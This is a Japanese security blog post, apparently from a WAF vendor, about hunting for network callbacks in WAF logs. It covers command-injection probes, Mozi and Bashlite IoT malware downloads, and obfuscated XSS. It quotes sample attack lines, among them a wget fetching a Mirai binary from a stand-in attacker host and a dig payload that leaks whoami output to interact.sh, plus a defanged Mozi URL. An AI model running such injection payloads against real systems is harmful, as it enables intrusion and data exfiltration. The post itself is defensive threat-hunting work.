WAF データ内のネットワークコールバックの脅威ハンティング

脅威ハンティングとは、組織内のセキュリティ境界を突破した可能性のあるアクティブな攻撃者を探す取り組みを指します。これにはデータ分析やセキュリティ、ネットワーキングなどさまざまな種類のスキルが必要ですが、なによりも強い好奇心が求められます。このブログ記事では、私たちのチームが Fastly 次世代 WAF (Powered by Signal Sciences) のデータを使用して実行したハンティングの実例について説明します。実例の紹介を通じて、WAF データを使用して脅威ハンティングを行う方法に関する着想をお客様に与えることを目指しています。

概要

標準的な攻撃技術の一部として、多くの攻撃者は静的および動的なアプリケーション・セキュリティ・テスト技術を使用して、計画目的を達成するのに役立つ情報を得ようとします。特定の攻撃が機能しているかどうかに関する直接的なフィードバックを得られない場合は、アウトオブバンド技術に移行する可能性があります。

アウトオブバンド・アプリケーション・セキュリティ・テストでは、ブラインド攻撃ペイロードが成功したかどうかの確認を受信するためにネットワークコールバック (ターゲットアプリケーションが攻撃者まで戻って到達できるようにするためのもの) を使用する必要があります。悪意のある攻撃では、同じ技術を使用してマルウェアをロードして実行します。この際、最初にコールバックを実行できることを確認してから、悪意のあるファイルを取得します。多くの場合これらのコールバックは、ドメインと特定の IP アドレスの組み合わせに到達します。

この情報を得た防御者は、ネットワークコールバックが試みられたか、または成功したかを調べることができます。防御者が見通しの良いポイントを確保しており、インフラストラクチャ内で適切なロギングが有効である場合、この情報をイベントログによって補足できます。

WAF ログ

脅威ハンティングで最も必要なものはデータです。この場合、私たちは、悪意があると考えられるアラートに基づいて集約された WAF ログに注目します。お客様がご自身のログを参照している場合、それらのログは一元的なデータストア (すなわち、SIEM またはその他のリポジトリ) 内で収集および集約する必要があることを忘れないでください。

Fastly 次世代 WAF のお客様は、サイトのリクエストフィードを介した検索で、このデータを得られます。タグ (特にタグオブジェクトフィールドのタイプと値) をフィルタリングすることで、検索できます。

干し草の山から1本の針を探す

この脅威ハンティングでは攻撃ログ内でネットワークベースのコールバックを検索したことを、概要で説明しました。私たちは特に、コマンドインジェクションと実行試行 (その後、これらによってネットワークコールバックが実行されます) に注目しました。私たちは、curl、dig、netcat、nslookup、または wget などの一般的なネットワーキング ツールへの参照を探しました (例 : wget http://attacker. example. com/bins/mirai. arm7)。 

この種の攻撃を成功させるには、攻撃者はターゲット環境内にすでに存在するものを実行する必要があります。使用する一般的なシステムバイナリは、「Living Off The Land (環境寄生)」バイナリ (または省略して LOLBin) と呼ばれることもあります。より包括的な検索の場合、LOLBAS および GTFOBins などの LOLBin リストを使用できます。これらはそれぞれ、Windows と Unix に焦点を当てています。

私たちの環境内でこれらの攻撃試行を抽出することで、これらの攻撃内におけるある種の共通性を特定しました。これらをより詳しく理解するために、ログエントリ内の各 LOLbin に続くコマンドライン引数のサブセットを抽出してから、集約と集計によって引数の共通性を調べました。これにより、共通の攻撃からドメインと IP アドレスを抽出し、その他のデータソースからの情報と合わせて、これらの攻撃に関するより詳細なコンテキストを取得できるようになりました。

初期の分析を実行した後、以下のような問いに取り組みました。

• 攻撃者は共通のセキュリティツールドメインを使用しているか – 例 : burpcollaborator. net、interact. sh

• 攻撃者が悪用しようとしているテクノロジーは環境にも関連しているか – 例 : Windows コマンドの実行を Linux 環境で試みた (またはこの逆)

• 攻撃者は、共通するその他の属性を持つ複数の IP アドレスの使用を試みているか – 例 : 異なる IP を持つ共通の URI パスを使用した Mozi ボットネット

• 攻撃者のコールバックサーバーは依然として稼働しているか、また、私たちはそこからペイロードを取得できるか

脅威ハンティングを行う際、こうした質問に回答することが、攻撃者の目的を理解するために役立ちます。つまり、攻撃者が次に講じる手段の選択肢は無限に見えるので、彼らの動機を理解することで、どの選択肢を選ぶ可能性が最も高いかを把握しやすくなるのです。

場合によっては、データ自体が動機となることがあります。たとえば、バグバウンティの参加者に、バグ・バウンティ・プラットフォーム上のユーザー名を参照する特別な X ヘッダーが含まれる場合や、バグバウンティの参加者がそのユーザー名をコールバック URI 内のサブドメインとして使用する場合などです。

セキュリティツール

セキュリティツールは、私たちのデータ全体にわたって普及しています。分析期間中、すべてのコマンドインジェクション試行のうち約3.6%にネットワークコールバックが含まれていました。これらのうち85%は、既知のセキュリティツールドメインを対象としていました。

これは、悪意のあるユーザーがペネトレーションテスト担当者と同じツールを使用しないと言っているわけではありません。むしろ、これらのリクエストは通常、ホスト対象のマルウェアを抽出しようとする試みではなく、攻撃が機能しているかどうかを確認するためのプローブです。 

ただし、これらのドメインを無視することはできません。攻撃者は　DNS または HTTP を介してデータをひそかに抽出する (たとえば、環境変数を DNS サブドメインとして漏洩させる) こと、またはこのツールセットを攻撃の次のステージの偵察として使用することを試みる可能性があるからです。この種のコマンド・インジェクション・ペイロードのより具体的な例として、&& dig `whoami`. c8qt8wk2vtc0000816hggrm7rqcyyyyyb. interact. sh や攻撃者から見た結果があります。

IoT マルウェア

別の事例として、私たちは、攻撃者が IoT マルウェアをデプロイしようとしていた事例を見つけました。一部の攻撃試行では、コールバックはシェルスクリプトを抽出して実行することを目的として設計されています。これらの試みは Bashlite (通称 Gafgyt) マルウェアバイナリに関連付けられていることが分かりました。

このスクリプトは、マルウェアバイナリを抽出し、それを実行しようと試みることを目的に設計されています。これは、サポートされているすべてのアーキテクチャを余すところなく試みます。これには、IoT デバイス (MIPS や Motorola 68K など) で普及しているアーキテクチャが含まれます。

Mozi マルウェアは、WAF ログ内で簡単に見つかる別の IoT マルウェアファミリーです。なぜなら、これは一貫して、パス /Mozi. m または /Mozi. a を使用するからです。以前に確認できたこの一例は、URL http://183. 188. 6[.]132:50359/Mozi. m です。これは、ハッシュ 12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef とともに Mozi マルウェアを提供していました。 

各例の明確な共通点は、私たちがハンティングしようとしたもの、すなわち、ネットワークコールバックにあります。 

ネットワークコールバックを軽減するには、初期のペイロードが成功するのを阻止することが非常に重要です。そして、お客様のためにブロックすることに成功した攻撃への理解を通じて、このハンティングの実行に必要な可視性を得ることができました。ただし、別な防御方法として、厳密な送信のフィルタリングを設定し、アウトバウンド通信を必要とするアプリケーション用の送信プロキシ/ゲートウェイを使用するやり方もあります。これにより、モニタリング用として優れた見通しの良いポイントを確保するとともに、将来的にネットワークコールバックを阻止できるという安心感を得ることができます。

XSS のネットワークコールバック

アウトオブバンド技術が役に立つ攻撃タイプはコマンドインジェクションだけではありません。クロスサイトスクリプティング (XSS) 攻撃も、この技術を活用します。ただし主な違いは、この攻撃がアプリケーションのユーザーを対象としており、アプリケーションや、アプリケーションが動作しているサーバーを対象にしていない点です。

調査中に発見した一例として、検出を逃れようとする試みにおいて JavaScript 難読化ツールを使用したキャンペーンがあります。この時点で、私たちは、XSS 攻撃で使用された JavaScript の検索とその目的の特定に焦点を当てていました。この検索中、alert() と同じくらいシンプルなものを持つペイロードは特定が容易でしたが、その他はランダムな文字列にしか見えませんでした。これらはコードの真の目的を隠すための、難読化手段である可能性があります。

WAF は XSS の検出、軽減はできますが、難読化されたコンテンツの背景を理解することは通常できません。私たちは、このコンテンツを詳細に調べるために、ルートユーザー権限がなく、ネットワークアクセス権がない NodeJS 用の Linux コンテナを作成しました。その後、このコードの実行意図を把握できる可能性のある eval などの関数呼び出しを回避しながら、JavaScript スニペットを慎重に実行しました。

難読化を解除したコード (上のスクリーンショットの右側) から分かるとおり、これはドメインにコールバックし、レスポンスとして返されるものをすべて評価することを目的としています。これは、攻撃者のサーバーが応答するものであれば時間の経過とともに変化する可能性がありますが、第三者プロバイダー内のこのドメインをクロスチェックした際には、JavaScript マルウェアの既知のソースとしてフラグが立てられていました。

2番目の例では、スクリプトタグの大文字と小文字の違いを利用し、第三者リソースからロードしようとしていました。以下のスクリーンショットでは、レスポンスのソースを分かりやすくするために形式を変更しました。

このドメインからのレスポンスは、ユーザーの Cookie を盗むことを目的としてイメージタグを DOM に挿入することを意図して設計されていました。私たちは、このキャンペーンがホストされていたインフラストラクチャプロバイダーに通知し、このプロバイダーがこの脅威を削除できるようにしました。

これらすべてを実行する理由

脅威ハンティングのインサイトを使用すると、組織が防御に集中すべきアクティブな脅威に優先順位を付けやすくなります。自社のネットワークに対する実際の攻撃から得たデータは、現在セキュリティプログラムで効果を発揮しているもの、あるいは効果的でないものを示す証拠として役立ちます。そのデータに基づいて、脆弱性管理の優先順位、インシデントレスポンスのプレイブック、運用上のモニタリングと可観測性の改善に関する議論を始めることができます。